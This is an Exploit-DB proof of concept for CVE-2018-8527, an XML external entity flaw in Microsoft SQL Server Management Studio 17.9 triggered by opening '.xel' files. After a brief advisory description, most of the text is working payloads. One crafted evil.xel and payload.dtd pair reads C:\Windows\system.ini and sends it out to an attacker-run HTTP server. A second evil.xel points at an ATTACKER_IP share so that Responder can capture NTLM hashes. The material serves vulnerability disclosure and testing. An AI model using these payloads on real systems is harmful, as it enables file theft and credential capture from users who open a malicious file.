Microsoft SQL Server Management Studio 17.9 – ‘.xel’ XML External Entity Injection

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• 作者： hyp3rlinx
  日期： 2018-10-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45585/

• # Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
  # Date: 2018-10-10
  # Author: John Page (aka hyp3rlinx)	
  # Website: hyp3rlinx.altervista.org
  # Venodor: www.microsoft.com
  # Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
  # CVE: CVE-2018-8527
  # References:
  # http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
  # https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
  # https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
  # The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527) 
  
  # Description
  # This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations 
  # of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability 
  # in that the target must visit a malicious page or open a malicious file.
  # The specific flaw exists within the handling of XEL files. Due to the improper restriction 
  # of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser 
  # to access the URI and embed the contents back into the XML document for further processing. An attacker 
  # can leverage this vulnerability to disclose information in the context of the current process.
  
  # [Exploit/POC]
  
  python -m SimpleHTTPServer (listens Port 8000)
  
  "evil.xel" (Extended Event Log File)
  
  <?xml version="1.0"?>
  <!DOCTYPE flavios [ 
  <!ENTITY % file SYSTEM "C:\Windows\system.ini">
  <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
  %dtd;]>
  <pwn>&send;</pwn>
  
  "payload.dtd"
  
  <?xml version="1.0" encoding="UTF-8"?>
  <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
  %all;
  
  # OR 
  # Steal NTLM hashes
  # Kali linux
  
  /usr/share/responder/tools
  
  responder -I eth0 -rv
  
  "evil.xel"
  
  <?xml version="1.0"?>
  <!DOCTYPE dirty0tis [ 
  <!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
  %dtd;]>
  
  Result: Forced authentication and NTLM hash captured
  

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